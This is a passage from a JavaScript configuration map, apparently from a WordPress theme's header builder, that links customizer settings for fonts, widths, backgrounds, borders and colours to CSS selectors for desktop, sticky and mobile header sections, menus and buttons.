        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_size)': {
            'font-size': '.pc-builder-element.penci-top-search a i',
        },
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_format_size)': {
            'font-size': '.penci-builder-element.penci-data-time-format',
        },

        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_custom_width)': {
            'width': '.penci-desktop-topblock .container.container-custom',
            '--pcctain': '.penci-desktop-topblock .container.container-custom',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_content_custom_width)': {
            'width': '.penci-desktop-topbar .container.container-custom',
            '--pcctain': '.penci-desktop-topbar .container.container-custom',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_content_custom_width)': {
            'width': '.penci-desktop-midbar .container.container-custom',
            '--pcctain': '.penci-desktop-midbar .container.container-custom',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottom_content_custom_width)': {
            'width': '.penci-desktop-bottombar .container.container-custom',
            '--pcctain': '.penci-desktop-bottombar .container.container-custom',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_content_custom_width)': {
            'width': '.penci-desktop-bottomblock .container.container-custom',
            '--pcctain': '.penci-desktop-bottomblock .container.container-custom',
        },

        // line-divider-1
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_width)': {
            'width': '.penci-vertical-line.vertical-line-1',
        },
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_height)': {
            'height': '.penci-vertical-line.vertical-line-1',
        },
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_color)': {
            'background-color': '.penci-vertical-line.vertical-line-1',
        },
        // line-divider-2
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_width)': {
            'width': '.penci-vertical-line.vertical-line-2',
        },
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_height)': {
            'height': '.penci-vertical-line.vertical-line-2',
        },
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_color)': {
            'background-color': '.penci-vertical-line.vertical-line-2',
        },
        // line-divider-3
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_width)': {
            'width': '.penci-vertical-line.vertical-line-3',
        },
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_height)': {
            'height': '.penci-vertical-line.vertical-line-3',
        },
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_color)': {
            'background-color': '.penci-vertical-line.vertical-line-3',
        },
        // line-divider-4
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_width)': {
            'width': '.penci-vertical-line.vertical-line-4',
        },
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_height)': {
            'height': '.penci-vertical-line.vertical-line-4',
        },
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_color)': {
            'background-color': '.penci-vertical-line.vertical-line-4',
        },
        // line-divider-5
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_width)': {
            'width': '.penci-vertical-line.vertical-line-5',
        },
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_height)': {
            'height': '.penci-vertical-line.vertical-line-5',
        },
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_color)': {
            'background-color': '.penci-vertical-line.vertical-line-5',
        },
        // line-divider-mobile-1
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_width)': {
            'width': '.penci-vertical-line.vertical-line-mobile-1',
        },
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_height)': {
            'height': '.penci-vertical-line.vertical-line-mobile-1',
        },
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_color)': {
            'background-color': '.penci-vertical-line.vertical-line-mobile-1',
        },
        // line-divider-mobile-2
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_width)': {
            'width': '.penci-vertical-line.vertical-line-mobile-2',
        },
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_height)': {
            'height': '.penci-vertical-line.vertical-line-mobile-2',
        },
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_color)': {
            'background-color': '.penci-vertical-line.vertical-line-mobile-2',
        },
        // main menu
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_for_menu)': {
            '--pchb-main-menu-font': '.pc-builder-element.pc-main-menu',
            'font-family': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-main-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_size_lv1)': {
            '--pchb-main-menu-fs': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_size_drop)': {
            '--pchb-main-menu-fs_l2': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_lv1_item_spacing)': {
            '--pchb-main-menu-mg': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_lv1_item_margin)': {
            '--pchb-main-menu-mgi': '.pc-builder-element.pc-main-menu',
        },
        // second menu
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_for_menu)': {
            '--pchb-second-menu-font': '.pc-builder-element.pc-second-menu',
            'font-family': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-second-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_size_lv1)': {
            '--pchb-second-menu-fs': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_size_drop)': {
            '--pchb-second-menu-fs_l2': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_lv1_item_spacing)': {
            '--pchb-second-menu-mg': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_lv1_item_margin)': {
            '--pchb-second-menu-mgi': '.pc-builder-element.pc-second-menu',
        },

        // thrid menu
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_for_menu)': {
            '--pchb-third-menu-font': '.pc-builder-element.pc-third-menu',
            'font-family': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-third-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_size_lv1)': {
            '--pchb-third-menu-fs': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_size_drop)': {
            '--pchb-third-menu-fs_l2': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_lv1_item_spacing)': {
            '--pchb-third-menu-mg': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_lv1_item_margin)': {
            '--pchb-third-menu-mgi': '.pc-builder-element.pc-third-menu',
        },
        // topblock section
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_img)': {
            'background-image': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_color)': {
            'background-color': '.penci-desktop-topblock, .penci_header_overlap .penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_repeat)': {
            'background-repeat': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_position)': {
            'background-position': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_size)': {
            'background-size': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_attachment)': {
            'background-attachment': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_border_setting)': {
            'border-color': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_border_style_setting)': {
            'border-style': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_text_color_setting)': {
            'color': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_maxheight_setting)': {
            'max-height': '.penci-desktop-topblock',
        },
        // top section
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_img)': {
            'background-image': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_color)': {
            'background-color': '.penci-desktop-topbar, .penci_header_overlap .penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_repeat)': {
            'background-repeat': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_position)': {
            'background-position': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_size)': {
            'background-size': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_attachment)': {
            'background-attachment': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_border_setting)': {
            'border-color': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_border_style_setting)': {
            'border-style': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_text_color_setting)': {
            'color': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_maxheight_setting)': {
            'max-height': '.penci-desktop-topbar',
        },
        // mid section
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_img)': {
            'background-image': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_color)': {
            'background-color': '.penci-desktop-midbar, .penci_header_overlap .penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_repeat)': {
            'background-repeat': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_position)': {
            'background-position': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_size)': {
            'background-size': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_attachment)': {
            'background-attachment': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_border_setting)': {
            'border-color': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_border_style_setting)': {
            'border-style': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_text_color_setting)': {
            'color': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_maxheight_setting)': {
            'max-height': '.penci-desktop-midbar',
        },
        // bottom section
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_img)': {
            'background-image': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_color)': {
            'background-color': '.penci-desktop-bottombar, .penci_header_overlap .penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_repeat)': {
            'background-repeat': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_position)': {
            'background-position': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_size)': {
            'background-size': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_attachment)': {
            'background-attachment': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_border_setting)': {
            'border-color': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_border_style_setting)': {
            'border-style': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_text_color_setting)': {
            'color': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_maxheight_setting)': {
            'max-height': '.penci-desktop-bottombar',
        },
        // bottom section
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_img)': {
            'background-image': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_color)': {
            'background-color': '.penci-desktop-bottomblock, .penci_header_overlap .penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_repeat)': {
            'background-repeat': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_position)': {
            'background-position': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_size)': {
            'background-size': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_attachment)': {
            'background-attachment': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_border_setting)': {
            'border-color': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_border_style_setting)': {
            'border-style': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_text_color_setting)': {
            'color': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_maxheight_setting)': {
            'max-height': '.penci-desktop-bottomblock',
        },

        // top sticky section
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_img)': {
            'background-image': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_color)': {
            'background-color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_repeat)': {
            'background-repeat': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_position)': {
            'background-position': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_size)': {
            'background-size': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_attachment)': {
            'background-attachment': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_border_setting)': {
            'border-color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_border_style_setting)': {
            'border-style': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_text_color_setting)': {
            'color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_maxheight_setting)': {
            'max-height': '.penci-sticky-top',
        },

        // mid sticky section
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_img)': {
            'background-image': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_color)': {
            'background-color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_repeat)': {
            'background-repeat': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_position)': {
            'background-position': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_size)': {
            'background-size': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_attachment)': {
            'background-attachment': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_border_setting)': {
            'border-color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_border_style_setting)': {
            'border-style': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_text_color_setting)': {
            'color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_maxheight_setting)': {
            'max-height': '.penci-sticky-mid',
        },

        // bottom sticky section
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_img)': {
            'background-image': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_color)': {
            'background-color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_repeat)': {
            'background-repeat': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_position)': {
            'background-position': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_size)': {
            'background-size': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_attachment)': {
            'background-attachment': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_border_setting)': {
            'border-color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_border_style_setting)': {
            'border-style': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_text_color_setting)': {
            'color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_maxheight_setting)': {
            'max-height': '.penci-sticky-bottom',
        },

        // mobile top
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_img)': {
            'background-image': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_color)': {
            'background-color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_repeat)': {
            'background-repeat': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_position)': {
            'background-position': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_size)': {
            'background-size': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_attachment)': {
            'background-attachment': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_border_setting)': {
            'border-color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_border_style_setting)': {
            'border-style': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_text_color_setting)': {
            'color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_maxheight_setting)': {
            'max-height': '.penci-mobile-topbar',
        },

        // mobile mid
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_img)': {
            'background-image': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_color)': {
            'background-color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_repeat)': {
            'background-repeat': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_position)': {
            'background-position': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_size)': {
            'background-size': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_attachment)': {
            'background-attachment': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_border_setting)': {
            'border-color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_border_style_setting)': {
            'border-style': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_text_color_setting)': {
            'color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_maxheight_setting)': {
            'max-height': '.penci-mobile-midbar',
        },

        // mobile bottom
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_img)': {
            'background-image': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_color)': {
            'background-color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_repeat)': {
            'background-repeat': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_position)': {
            'background-position': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_size)': {
            'background-size': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_attachment)': {
            'background-attachment': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_border_setting)': {
            'border-color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_border_style_setting)': {
            'border-style': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_text_color_setting)': {
            'color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_maxheight_setting)': {
            'max-height': '.penci-mobile-bottombar',
        },

        // mobile sidebar
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_img)': {
            'background-image': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_color)': {
            'background-color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_repeat)': {
            'background-repeat': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_position)': {
            'background-position': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_size)': {
            'background-size': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_attachment)': {
            'background-attachment': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_border_setting)': {
            'border-color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_border_style_setting)': {
            'border-style': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_text_color_setting)': {
            'color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_maxheight_setting)': {
            'max-height': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },

        // search form
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_width)': {
            'max-width': '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_width)': {
            'max-width': '.penci-builder-element.pc-search-form-sidebar,.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .search-input',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-main-menu .navigation .menu > li > a',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-second-menu .navigation .menu > li > a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-third-menu .navigation .menu > li > a',
        },

        // button
        'setting(penci_header_pb_button_section)(penci_header_pb_button_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-1:hover'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-1:hover'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-1:hover'
        },

        // button 2
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-2:hover'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-2:hover'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-2:hover'
        },

        // button 3
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-3:hover'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-3:hover'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-3:hover'
        },

        // button mb 1
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },
